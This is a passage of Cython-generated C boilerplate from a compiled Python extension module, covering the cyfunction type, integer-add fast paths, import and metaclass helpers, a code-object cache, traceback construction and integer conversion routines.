(setter)__Pyx_CyFunction_set_name, 0, 0}, {(char *) "__qualname__", (getter)__Pyx_CyFunction_get_qualname, (setter)__Pyx_CyFunction_set_qualname, 0, 0}, {(char *) "__self__", (getter)__Pyx_CyFunction_get_self, 0, 0, 0}, {(char *) "func_dict", (getter)__Pyx_CyFunction_get_dict, (setter)__Pyx_CyFunction_set_dict, 0, 0}, {(char *) "__dict__", (getter)__Pyx_CyFunction_get_dict, (setter)__Pyx_CyFunction_set_dict, 0, 0}, {(char *) "func_globals", (getter)__Pyx_CyFunction_get_globals, 0, 0, 0}, {(char *) "__globals__", (getter)__Pyx_CyFunction_get_globals, 0, 0, 0}, {(char *) "func_closure", (getter)__Pyx_CyFunction_get_closure, 0, 0, 0}, {(char *) "__closure__", (getter)__Pyx_CyFunction_get_closure, 0, 0, 0}, {(char *) "func_code", (getter)__Pyx_CyFunction_get_code, 0, 0, 0}, {(char *) "__code__", (getter)__Pyx_CyFunction_get_code, 0, 0, 0}, {(char *) "func_defaults", (getter)__Pyx_CyFunction_get_defaults, (setter)__Pyx_CyFunction_set_defaults, 0, 0}, {(char *) "__defaults__", (getter)__Pyx_CyFunction_get_defaults, (setter)__Pyx_CyFunction_set_defaults, 0, 0}, {(char *) "__kwdefaults__", (getter)__Pyx_CyFunction_get_kwdefaults, (setter)__Pyx_CyFunction_set_kwdefaults, 0, 0}, {(char *) "__annotations__", (getter)__Pyx_CyFunction_get_annotations, (setter)__Pyx_CyFunction_set_annotations, 0, 0}, {0, 0, 0, 0, 0} }; static PyMemberDef __pyx_CyFunction_members[] = { {(char *) "__module__", T_OBJECT, offsetof(__pyx_CyFunctionObject, func.m_module), PY_WRITE_RESTRICTED, 0}, {0, 0, 0, 0, 0} }; static PyObject * __Pyx_CyFunction_reduce(__pyx_CyFunctionObject *m, CYTHON_UNUSED PyObject *args) { #if PY_MAJOR_VERSION >= 3 return PyUnicode_FromString(m->func.m_ml->ml_name); #else return PyString_FromString(m->func.m_ml->ml_name); #endif } static PyMethodDef __pyx_CyFunction_methods[] = { {"__reduce__", (PyCFunction)__Pyx_CyFunction_reduce, METH_VARARGS, 0}, {0, 0, 0, 0} }; #if PY_VERSION_HEX < 0x030500A0 #define __Pyx_CyFunction_weakreflist(cyfunc) ((cyfunc)->func_weakreflist) #else #define __Pyx_CyFunction_weakreflist(cyfunc) ((cyfunc)->func.m_weakreflist) #endif static PyObject *__Pyx_CyFunction_New(PyTypeObject *type, PyMethodDef *ml, int flags, PyObject* qualname, PyObject *closure, PyObject *module, PyObject* globals, PyObject* code) { __pyx_CyFunctionObject *op = PyObject_GC_New(__pyx_CyFunctionObject, type); if (op == NULL) return NULL; op->flags = flags; __Pyx_CyFunction_weakreflist(op) = NULL; op->func.m_ml = ml; op->func.m_self = (PyObject *) op; Py_XINCREF(closure); op->func_closure = closure; Py_XINCREF(module); op->func.m_module = module; op->func_dict = NULL; op->func_name = NULL; Py_INCREF(qualname); op->func_qualname = qualname; op->func_doc = NULL; op->func_classobj = NULL; op->func_globals = globals; Py_INCREF(op->func_globals); Py_XINCREF(code); op->func_code = code; op->defaults_pyobjects = 0; op->defaults = NULL; op->defaults_tuple = NULL; op->defaults_kwdict = NULL; op->defaults_getter = NULL; op->func_annotations = NULL; PyObject_GC_Track(op); return (PyObject *) op; } static int __Pyx_CyFunction_clear(__pyx_CyFunctionObject *m) { Py_CLEAR(m->func_closure); Py_CLEAR(m->func.m_module); Py_CLEAR(m->func_dict); Py_CLEAR(m->func_name); Py_CLEAR(m->func_qualname); Py_CLEAR(m->func_doc); Py_CLEAR(m->func_globals); Py_CLEAR(m->func_code); Py_CLEAR(m->func_classobj); Py_CLEAR(m->defaults_tuple); Py_CLEAR(m->defaults_kwdict); Py_CLEAR(m->func_annotations); if (m->defaults) { PyObject **pydefaults = __Pyx_CyFunction_Defaults(PyObject *, m); int i; for (i = 0; i < m->defaults_pyobjects; i++) Py_XDECREF(pydefaults[i]); PyObject_Free(m->defaults); m->defaults = NULL; } return 0; } static void __Pyx_CyFunction_dealloc(__pyx_CyFunctionObject *m) { PyObject_GC_UnTrack(m); if (__Pyx_CyFunction_weakreflist(m) != NULL) PyObject_ClearWeakRefs((PyObject *) m); __Pyx_CyFunction_clear(m); PyObject_GC_Del(m); } static int __Pyx_CyFunction_traverse(__pyx_CyFunctionObject *m, visitproc visit, void *arg) { Py_VISIT(m->func_closure); Py_VISIT(m->func.m_module); Py_VISIT(m->func_dict); Py_VISIT(m->func_name); Py_VISIT(m->func_qualname); Py_VISIT(m->func_doc); Py_VISIT(m->func_globals); Py_VISIT(m->func_code); Py_VISIT(m->func_classobj); Py_VISIT(m->defaults_tuple); Py_VISIT(m->defaults_kwdict); if (m->defaults) { PyObject **pydefaults = __Pyx_CyFunction_Defaults(PyObject *, m); int i; for (i = 0; i < m->defaults_pyobjects; i++) Py_VISIT(pydefaults[i]); } return 0; } static PyObject *__Pyx_CyFunction_descr_get(PyObject *func, PyObject *obj, PyObject *type) { __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; if (m->flags & __Pyx_CYFUNCTION_STATICMETHOD) { Py_INCREF(func); return func; } if (m->flags & __Pyx_CYFUNCTION_CLASSMETHOD) { if (type == NULL) type = (PyObject *)(Py_TYPE(obj)); return __Pyx_PyMethod_New(func, type, (PyObject *)(Py_TYPE(type))); } if (obj == Py_None) obj = NULL; return __Pyx_PyMethod_New(func, obj, type); } static PyObject* __Pyx_CyFunction_repr(__pyx_CyFunctionObject *op) { #if PY_MAJOR_VERSION >= 3 return PyUnicode_FromFormat("<cyfunction %U at %p>", op->func_qualname, (void *)op); #else return PyString_FromFormat("<cyfunction %s at %p>", PyString_AsString(op->func_qualname), (void *)op); #endif } static PyObject * __Pyx_CyFunction_CallMethod(PyObject *func, PyObject *self, PyObject *arg, PyObject *kw) { PyCFunctionObject* f = (PyCFunctionObject*)func; PyCFunction meth = f->m_ml->ml_meth; Py_ssize_t size; switch (f->m_ml->ml_flags & (METH_VARARGS | METH_KEYWORDS | METH_NOARGS | METH_O)) { case METH_VARARGS: if (likely(kw == NULL || PyDict_Size(kw) == 0)) return (*meth)(self, arg); break; case METH_VARARGS | METH_KEYWORDS: return (*(PyCFunctionWithKeywords)meth)(self, arg, kw); case METH_NOARGS: if (likely(kw == NULL || PyDict_Size(kw) == 0)) { size = PyTuple_GET_SIZE(arg); if (likely(size == 0)) return (*meth)(self, NULL); PyErr_Format(PyExc_TypeError, "%.200s() takes no arguments (%" CYTHON_FORMAT_SSIZE_T "d given)", f->m_ml->ml_name, size); return NULL; } break; case METH_O: if (likely(kw == NULL || PyDict_Size(kw) == 0)) { size = PyTuple_GET_SIZE(arg); if (likely(size == 1)) { PyObject *result, *arg0 = PySequence_ITEM(arg, 0); if (unlikely(!arg0)) return NULL; result = (*meth)(self, arg0); Py_DECREF(arg0); return result; } PyErr_Format(PyExc_TypeError, "%.200s() takes exactly one argument (%" CYTHON_FORMAT_SSIZE_T "d given)", f->m_ml->ml_name, size); return NULL; } break; default: PyErr_SetString(PyExc_SystemError, "Bad call flags in " "__Pyx_CyFunction_Call. METH_OLDARGS is no " "longer supported!"); return NULL; } PyErr_Format(PyExc_TypeError, "%.200s() takes no keyword arguments", f->m_ml->ml_name); return NULL; } static CYTHON_INLINE PyObject *__Pyx_CyFunction_Call(PyObject *func, PyObject *arg, PyObject *kw) { return __Pyx_CyFunction_CallMethod(func, ((PyCFunctionObject*)func)->m_self, arg, kw); } static PyObject *__Pyx_CyFunction_CallAsMethod(PyObject *func, PyObject *args, PyObject *kw) { PyObject *result; __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *) func; if ((cyfunc->flags & __Pyx_CYFUNCTION_CCLASS) && !(cyfunc->flags & __Pyx_CYFUNCTION_STATICMETHOD)) { Py_ssize_t argc; PyObject *new_args; PyObject *self; argc = PyTuple_GET_SIZE(args); new_args = PyTuple_GetSlice(args, 1, argc); if (unlikely(!new_args)) return NULL; self = PyTuple_GetItem(args, 0); if (unlikely(!self)) { Py_DECREF(new_args); return NULL; } result = __Pyx_CyFunction_CallMethod(func, self, new_args, kw); Py_DECREF(new_args); } else { result = __Pyx_CyFunction_Call(func, args, kw); } return result; } static PyTypeObject __pyx_CyFunctionType_type = { PyVarObject_HEAD_INIT(0, 0) "cython_function_or_method", sizeof(__pyx_CyFunctionObject), 0, (destructor) __Pyx_CyFunction_dealloc, 0, 0, 0, #if PY_MAJOR_VERSION < 3 0, #else 0, #endif (reprfunc) __Pyx_CyFunction_repr, 0, 0, 0, 0, __Pyx_CyFunction_CallAsMethod, 0, 0, 0, 0, Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC, 0, (traverseproc) __Pyx_CyFunction_traverse, (inquiry) __Pyx_CyFunction_clear, 0, #if PY_VERSION_HEX < 0x030500A0 offsetof(__pyx_CyFunctionObject, func_weakreflist), #else offsetof(PyCFunctionObject, m_weakreflist), #endif 0, 0, __pyx_CyFunction_methods, __pyx_CyFunction_members, __pyx_CyFunction_getsets, 0, 0, __Pyx_CyFunction_descr_get, 0, offsetof(__pyx_CyFunctionObject, func_dict), 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, #if PY_VERSION_HEX >= 0x030400a1 0, #endif }; static int __pyx_CyFunction_init(void) { __pyx_CyFunctionType = __Pyx_FetchCommonType(&__pyx_CyFunctionType_type); if (__pyx_CyFunctionType == NULL) { return -1; } return 0; } static CYTHON_INLINE void *__Pyx_CyFunction_InitDefaults(PyObject *func, size_t size, int pyobjects) { __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; m->defaults = PyObject_Malloc(size); if (!m->defaults) return PyErr_NoMemory(); memset(m->defaults, 0, size); m->defaults_pyobjects = pyobjects; return m->defaults; } static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsTuple(PyObject *func, PyObject *tuple) { __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; m->defaults_tuple = tuple; Py_INCREF(tuple); } static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsKwDict(PyObject *func, PyObject *dict) { __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; m->defaults_kwdict = dict; Py_INCREF(dict); } static CYTHON_INLINE void __Pyx_CyFunction_SetAnnotationsDict(PyObject *func, PyObject *dict) { __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; m->func_annotations = dict; Py_INCREF(dict); } /* PyIntBinop */ #if !CYTHON_COMPILING_IN_PYPY static PyObject* __Pyx_PyInt_AddObjC(PyObject *op1, PyObject *op2, CYTHON_UNUSED long intval, CYTHON_UNUSED int inplace) { #if PY_MAJOR_VERSION < 3 if (likely(PyInt_CheckExact(op1))) { const long b = intval; long x; long a = PyInt_AS_LONG(op1); x = (long)((unsigned long)a + b); if (likely((x^a) >= 0 || (x^b) >= 0)) return PyInt_FromLong(x); return PyLong_Type.tp_as_number->nb_add(op1, op2); } #endif #if CYTHON_USE_PYLONG_INTERNALS if (likely(PyLong_CheckExact(op1))) { const long b = intval; long a, x; #ifdef HAVE_LONG_LONG const PY_LONG_LONG llb = intval; PY_LONG_LONG lla, llx; #endif const digit* digits = ((PyLongObject*)op1)->ob_digit; const Py_ssize_t size = Py_SIZE(op1); if (likely(__Pyx_sst_abs(size) <= 1)) { a = likely(size) ? digits[0] : 0; if (size == -1) a = -a; } else { switch (size) { case -2: if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { a = -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; #ifdef HAVE_LONG_LONG } else if (8 * sizeof(PY_LONG_LONG) - 1 > 2 * PyLong_SHIFT) { lla = -(PY_LONG_LONG) (((((unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); goto long_long; #endif } case 2: if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { a = (long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; #ifdef HAVE_LONG_LONG } else if (8 * sizeof(PY_LONG_LONG) - 1 > 2 * PyLong_SHIFT) { lla = (PY_LONG_LONG) (((((unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); goto long_long; #endif } case -3: if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { a = -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; #ifdef HAVE_LONG_LONG } else if (8 * sizeof(PY_LONG_LONG) - 1 > 3 * PyLong_SHIFT) { lla = -(PY_LONG_LONG) (((((((unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); goto long_long; #endif } case 3: if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { a = (long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; #ifdef HAVE_LONG_LONG } else if (8 * sizeof(PY_LONG_LONG) - 1 > 3 * PyLong_SHIFT) { lla = (PY_LONG_LONG) (((((((unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); goto long_long; #endif } case -4: if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { a = -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; #ifdef HAVE_LONG_LONG } else if (8 * sizeof(PY_LONG_LONG) - 1 > 4 * PyLong_SHIFT) { lla = -(PY_LONG_LONG) (((((((((unsigned PY_LONG_LONG)digits[3]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); goto long_long; #endif } case 4: if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { a = (long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; #ifdef HAVE_LONG_LONG } else if (8 * sizeof(PY_LONG_LONG) - 1 > 4 * PyLong_SHIFT) { lla = (PY_LONG_LONG) (((((((((unsigned PY_LONG_LONG)digits[3]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); goto long_long; #endif } default: return PyLong_Type.tp_as_number->nb_add(op1, op2); } } x = a + b; return PyLong_FromLong(x); #ifdef HAVE_LONG_LONG long_long: llx = lla + llb; return PyLong_FromLongLong(llx); #endif } #endif if (PyFloat_CheckExact(op1)) { const long b = intval; double a = PyFloat_AS_DOUBLE(op1); double result; PyFPE_START_PROTECT("add", return NULL) result = ((double)a) + (double)b; PyFPE_END_PROTECT(result) return PyFloat_FromDouble(result); } return (inplace ? PyNumber_InPlaceAdd : PyNumber_Add)(op1, op2); } #endif /* SetItemInt */ static CYTHON_INLINE int __Pyx_SetItemInt_Generic(PyObject *o, PyObject *j, PyObject *v) { int r; if (!j) return -1; r = PyObject_SetItem(o, j, v); Py_DECREF(j); return r; } static CYTHON_INLINE int __Pyx_SetItemInt_Fast(PyObject *o, Py_ssize_t i, PyObject *v, int is_list, CYTHON_NCP_UNUSED int wraparound, CYTHON_NCP_UNUSED int boundscheck) { #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS && CYTHON_USE_TYPE_SLOTS if (is_list || PyList_CheckExact(o)) { Py_ssize_t n = (!wraparound) ? i : ((likely(i >= 0)) ? i : i + PyList_GET_SIZE(o)); if ((!boundscheck) || likely((n >= 0) & (n < PyList_GET_SIZE(o)))) { PyObject* old = PyList_GET_ITEM(o, n); Py_INCREF(v); PyList_SET_ITEM(o, n, v); Py_DECREF(old); return 1; } } else { PySequenceMethods *m = Py_TYPE(o)->tp_as_sequence; if (likely(m && m->sq_ass_item)) { if (wraparound && unlikely(i < 0) && likely(m->sq_length)) { Py_ssize_t l = m->sq_length(o); if (likely(l >= 0)) { i += l; } else { if (!PyErr_ExceptionMatches(PyExc_OverflowError)) return -1; PyErr_Clear(); } } return m->sq_ass_item(o, i, v); } } #else #if CYTHON_COMPILING_IN_PYPY if (is_list || (PySequence_Check(o) && !PyDict_Check(o))) { #else if (is_list || PySequence_Check(o)) { #endif return PySequence_SetItem(o, i, v); } #endif return __Pyx_SetItemInt_Generic(o, PyInt_FromSsize_t(i), v); } /* PyObjectCallMethod1 */ static PyObject* __Pyx_PyObject_CallMethod1(PyObject* obj, PyObject* method_name, PyObject* arg) { PyObject *method, *result = NULL; method = __Pyx_PyObject_GetAttrStr(obj, method_name); if (unlikely(!method)) goto done; #if CYTHON_UNPACK_METHODS if (likely(PyMethod_Check(method))) { PyObject *self = PyMethod_GET_SELF(method); if (likely(self)) { PyObject *args; PyObject *function = PyMethod_GET_FUNCTION(method); #if CYTHON_FAST_PYCALL if (PyFunction_Check(function)) { PyObject *args[2] = {self, arg}; result = __Pyx_PyFunction_FastCall(function, args, 2); goto done; } #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(function)) { PyObject *args[2] = {self, arg}; result = __Pyx_PyCFunction_FastCall(function, args, 2); goto done; } #endif args = PyTuple_New(2); if (unlikely(!args)) goto done; Py_INCREF(self); PyTuple_SET_ITEM(args, 0, self); Py_INCREF(arg); PyTuple_SET_ITEM(args, 1, arg); Py_INCREF(function); Py_DECREF(method); method = NULL; result = __Pyx_PyObject_Call(function, args, NULL); Py_DECREF(args); Py_DECREF(function); return result; } } #endif result = __Pyx_PyObject_CallOneArg(method, arg); done: Py_XDECREF(method); return result; } /* append */ static CYTHON_INLINE int __Pyx_PyObject_Append(PyObject* L, PyObject* x) { if (likely(PyList_CheckExact(L))) { if (unlikely(__Pyx_PyList_Append(L, x) < 0)) return -1; } else { PyObject* retval = __Pyx_PyObject_CallMethod1(L, __pyx_n_s_append, x); if (unlikely(!retval)) return -1; Py_DECREF(retval); } return 0; } /* Import */ static PyObject *__Pyx_Import(PyObject *name, PyObject *from_list, int level) { PyObject *empty_list = 0; PyObject *module = 0; PyObject *global_dict = 0; PyObject *empty_dict = 0; PyObject *list; #if PY_VERSION_HEX < 0x03030000 PyObject *py_import; py_import = __Pyx_PyObject_GetAttrStr(__pyx_b, __pyx_n_s_import); if (!py_import) goto bad; #endif if (from_list) list = from_list; else { empty_list = PyList_New(0); if (!empty_list) goto bad; list = empty_list; } global_dict = PyModule_GetDict(__pyx_m); if (!global_dict) goto bad; empty_dict = PyDict_New(); if (!empty_dict) goto bad; { #if PY_MAJOR_VERSION >= 3 if (level == -1) { if (strchr(__Pyx_MODULE_NAME, '.')) { #if PY_VERSION_HEX < 0x03030000 PyObject *py_level = PyInt_FromLong(1); if (!py_level) goto bad; module = PyObject_CallFunctionObjArgs(py_import, name, global_dict, empty_dict, list, py_level, NULL); Py_DECREF(py_level); #else module = PyImport_ImportModuleLevelObject( name, global_dict, empty_dict, list, 1); #endif if (!module) { if (!PyErr_ExceptionMatches(PyExc_ImportError)) goto bad; PyErr_Clear(); } } level = 0; } #endif if (!module) { #if PY_VERSION_HEX < 0x03030000 PyObject *py_level = PyInt_FromLong(level); if (!py_level) goto bad; module = PyObject_CallFunctionObjArgs(py_import, name, global_dict, empty_dict, list, py_level, NULL); Py_DECREF(py_level); #else module = PyImport_ImportModuleLevelObject( name, global_dict, empty_dict, list, level); #endif } } bad: #if PY_VERSION_HEX < 0x03030000 Py_XDECREF(py_import); #endif Py_XDECREF(empty_list); Py_XDECREF(empty_dict); return module; } /* ImportFrom */ static PyObject* __Pyx_ImportFrom(PyObject* module, PyObject* name) { PyObject* value = __Pyx_PyObject_GetAttrStr(module, name); if (unlikely(!value) && PyErr_ExceptionMatches(PyExc_AttributeError)) { PyErr_Format(PyExc_ImportError, #if PY_MAJOR_VERSION < 3 "cannot import name %.230s", PyString_AS_STRING(name)); #else "cannot import name %S", name); #endif } return value; } /* CalculateMetaclass */ static PyObject *__Pyx_CalculateMetaclass(PyTypeObject *metaclass, PyObject *bases) { Py_ssize_t i, nbases = PyTuple_GET_SIZE(bases); for (i=0; i < nbases; i++) { PyTypeObject *tmptype; PyObject *tmp = PyTuple_GET_ITEM(bases, i); tmptype = Py_TYPE(tmp); #if PY_MAJOR_VERSION < 3 if (tmptype == &PyClass_Type) continue; #endif if (!metaclass) { metaclass = tmptype; continue; } if (PyType_IsSubtype(metaclass, tmptype)) continue; if (PyType_IsSubtype(tmptype, metaclass)) { metaclass = tmptype; continue; } PyErr_SetString(PyExc_TypeError, "metaclass conflict: " "the metaclass of a derived class " "must be a (non-strict) subclass " "of the metaclasses of all its bases"); return NULL; } if (!metaclass) { #if PY_MAJOR_VERSION < 3 metaclass = &PyClass_Type; #else metaclass = &PyType_Type; #endif } Py_INCREF((PyObject*) metaclass); return (PyObject*) metaclass; } /* Py3ClassCreate */ static PyObject *__Pyx_Py3MetaclassPrepare(PyObject *metaclass, PyObject *bases, PyObject *name, PyObject *qualname, PyObject *mkw, PyObject *modname, PyObject *doc) { PyObject *ns; if (metaclass) { PyObject *prep = __Pyx_PyObject_GetAttrStr(metaclass, __pyx_n_s_prepare); if (prep) { PyObject *pargs = PyTuple_Pack(2, name, bases); if (unlikely(!pargs)) { Py_DECREF(prep); return NULL; } ns = PyObject_Call(prep, pargs, mkw); Py_DECREF(prep); Py_DECREF(pargs); } else { if (unlikely(!PyErr_ExceptionMatches(PyExc_AttributeError))) return NULL; PyErr_Clear(); ns = PyDict_New(); } } else { ns = PyDict_New(); } if (unlikely(!ns)) return NULL; if (unlikely(PyObject_SetItem(ns, __pyx_n_s_module, modname) < 0)) goto bad; if (unlikely(PyObject_SetItem(ns, __pyx_n_s_qualname, qualname) < 0)) goto bad; if (unlikely(doc && PyObject_SetItem(ns, __pyx_n_s_doc, doc) < 0)) goto bad; return ns; bad: Py_DECREF(ns); return NULL; } static PyObject *__Pyx_Py3ClassCreate(PyObject *metaclass, PyObject *name, PyObject *bases, PyObject *dict, PyObject *mkw, int calculate_metaclass, int allow_py2_metaclass) { PyObject *result, *margs; PyObject *owned_metaclass = NULL; if (allow_py2_metaclass) { owned_metaclass = PyObject_GetItem(dict, __pyx_n_s_metaclass); if (owned_metaclass) { metaclass = owned_metaclass; } else if (likely(PyErr_ExceptionMatches(PyExc_KeyError))) { PyErr_Clear(); } else { return NULL; } } if (calculate_metaclass && (!metaclass || PyType_Check(metaclass))) { metaclass = __Pyx_CalculateMetaclass((PyTypeObject*) metaclass, bases); Py_XDECREF(owned_metaclass); if (unlikely(!metaclass)) return NULL; owned_metaclass = metaclass; } margs = PyTuple_Pack(3, name, bases, dict); if (unlikely(!margs)) { result = NULL; } else { result = PyObject_Call(metaclass, margs, mkw); Py_DECREF(margs); } Py_XDECREF(owned_metaclass); return result; } /* CodeObjectCache */ static int __pyx_bisect_code_objects(__Pyx_CodeObjectCacheEntry* entries, int count, int code_line) { int start = 0, mid = 0, end = count - 1; if (end >= 0 && code_line > entries[end].code_line) { return count; } while (start < end) { mid = start + (end - start) / 2; if (code_line < entries[mid].code_line) { end = mid; } else if (code_line > entries[mid].code_line) { start = mid + 1; } else { return mid; } } if (code_line <= entries[mid].code_line) { return mid; } else { return mid + 1; } } static PyCodeObject *__pyx_find_code_object(int code_line) { PyCodeObject* code_object; int pos; if (unlikely(!code_line) || unlikely(!__pyx_code_cache.entries)) { return NULL; } pos = __pyx_bisect_code_objects(__pyx_code_cache.entries, __pyx_code_cache.count, code_line); if (unlikely(pos >= __pyx_code_cache.count) || unlikely(__pyx_code_cache.entries[pos].code_line != code_line)) { return NULL; } code_object = __pyx_code_cache.entries[pos].code_object; Py_INCREF(code_object); return code_object; } static void __pyx_insert_code_object(int code_line, PyCodeObject* code_object) { int pos, i; __Pyx_CodeObjectCacheEntry* entries = __pyx_code_cache.entries; if (unlikely(!code_line)) { return; } if (unlikely(!entries)) { entries = (__Pyx_CodeObjectCacheEntry*)PyMem_Malloc(64*sizeof(__Pyx_CodeObjectCacheEntry)); if (likely(entries)) { __pyx_code_cache.entries = entries; __pyx_code_cache.max_count = 64; __pyx_code_cache.count = 1; entries[0].code_line = code_line; entries[0].code_object = code_object; Py_INCREF(code_object); } return; } pos = __pyx_bisect_code_objects(__pyx_code_cache.entries, __pyx_code_cache.count, code_line); if ((pos < __pyx_code_cache.count) && unlikely(__pyx_code_cache.entries[pos].code_line == code_line)) { PyCodeObject* tmp = entries[pos].code_object; entries[pos].code_object = code_object; Py_DECREF(tmp); return; } if (__pyx_code_cache.count == __pyx_code_cache.max_count) { int new_max = __pyx_code_cache.max_count + 64; entries = (__Pyx_CodeObjectCacheEntry*)PyMem_Realloc( __pyx_code_cache.entries, (size_t)new_max*sizeof(__Pyx_CodeObjectCacheEntry)); if (unlikely(!entries)) { return; } __pyx_code_cache.entries = entries; __pyx_code_cache.max_count = new_max; } for (i=__pyx_code_cache.count; i>pos; i--) { entries[i] = entries[i-1]; } entries[pos].code_line = code_line; entries[pos].code_object = code_object; __pyx_code_cache.count++; Py_INCREF(code_object); } /* AddTraceback */ #include "compile.h" #include "frameobject.h" #include "traceback.h" static PyCodeObject* __Pyx_CreateCodeObjectForTraceback( const char *funcname, int c_line, int py_line, const char *filename) { PyCodeObject *py_code = 0; PyObject *py_srcfile = 0; PyObject *py_funcname = 0; #if PY_MAJOR_VERSION < 3 py_srcfile = PyString_FromString(filename); #else py_srcfile = PyUnicode_FromString(filename); #endif if (!py_srcfile) goto bad; if (c_line) { #if PY_MAJOR_VERSION < 3 py_funcname = PyString_FromFormat( "%s (%s:%d)", funcname, __pyx_cfilenm, c_line); #else py_funcname = PyUnicode_FromFormat( "%s (%s:%d)", funcname, __pyx_cfilenm, c_line); #endif } else { #if PY_MAJOR_VERSION < 3 py_funcname = PyString_FromString(funcname); #else py_funcname = PyUnicode_FromString(funcname); #endif } if (!py_funcname) goto bad; py_code = __Pyx_PyCode_New( 0, 0, 0, 0, 0, __pyx_empty_bytes, /*PyObject *code,*/ __pyx_empty_tuple, /*PyObject *consts,*/ __pyx_empty_tuple, /*PyObject *names,*/ __pyx_empty_tuple, /*PyObject *varnames,*/ __pyx_empty_tuple, /*PyObject *freevars,*/ __pyx_empty_tuple, /*PyObject *cellvars,*/ py_srcfile, /*PyObject *filename,*/ py_funcname, /*PyObject *name,*/ py_line, __pyx_empty_bytes /*PyObject *lnotab*/ ); Py_DECREF(py_srcfile); Py_DECREF(py_funcname); return py_code; bad: Py_XDECREF(py_srcfile); Py_XDECREF(py_funcname); return NULL; } static void __Pyx_AddTraceback(const char *funcname, int c_line, int py_line, const char *filename) { PyCodeObject *py_code = 0; PyFrameObject *py_frame = 0; py_code = __pyx_find_code_object(c_line ? c_line : py_line); if (!py_code) { py_code = __Pyx_CreateCodeObjectForTraceback( funcname, c_line, py_line, filename); if (!py_code) goto bad; __pyx_insert_code_object(c_line ? c_line : py_line, py_code); } py_frame = PyFrame_New( PyThreadState_GET(), /*PyThreadState *tstate,*/ py_code, /*PyCodeObject *code,*/ __pyx_d, /*PyObject *globals,*/ 0 /*PyObject *locals*/ ); if (!py_frame) goto bad; __Pyx_PyFrame_SetLineNumber(py_frame, py_line); PyTraceBack_Here(py_frame); bad: Py_XDECREF(py_code); Py_XDECREF(py_frame); } /* CIntToPy */ static CYTHON_INLINE PyObject* __Pyx_PyInt_From_long(long value) { const long neg_one = (long) -1, const_zero = (long) 0; const int is_unsigned = neg_one > const_zero; if (is_unsigned) { if (sizeof(long) < sizeof(long)) { return PyInt_FromLong((long) value); } else if (sizeof(long) <= sizeof(unsigned long)) { return PyLong_FromUnsignedLong((unsigned long) value); #ifdef HAVE_LONG_LONG } else if (sizeof(long) <= sizeof(unsigned PY_LONG_LONG)) { return PyLong_FromUnsignedLongLong((unsigned PY_LONG_LONG) value); #endif } } else { if (sizeof(long) <= sizeof(long)) { return PyInt_FromLong((long) value); #ifdef HAVE_LONG_LONG } else if (sizeof(long) <= sizeof(PY_LONG_LONG)) { return PyLong_FromLongLong((PY_LONG_LONG) value); #endif } } { int one = 1; int little = (int)*(unsigned char *)&one; unsigned char *bytes = (unsigned char *)&value; return _PyLong_FromByteArray(bytes, sizeof(long), little, !is_unsigned); } } /* CIntFromPyVerify */ #define __PYX_VERIFY_RETURN_INT(target_type, func_type, func_value)\ __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, 0) #define __PYX_VERIFY_RETURN_INT_EXC(target_type, func_type, func_value)\ __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, 1) #define __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, exc)\ {\ func_type value = func_value;\ if (sizeof(target_type) < sizeof(func_type)) {\ if (unlikely(value != (func_type) (target_type) value)) {\ func_type zero = 0;\ if (exc && unlikely(value == (func_type)-1 && PyErr_Occurred()))\ return (target_type) -1;\ if (is_unsigned && unlikely(value < zero))\ goto raise_neg_overflow;\ else\ goto raise_overflow;\ }\ }\ return (target_type) value;\ } /* CIntFromPy */ static CYTHON_INLINE long __Pyx_PyInt_As_long(PyObject *x) { const long neg_one = (long) -1, const_zero = (long) 0; const int is_unsigned = neg_one > const_zero; #if PY_MAJOR_VERSION < 3 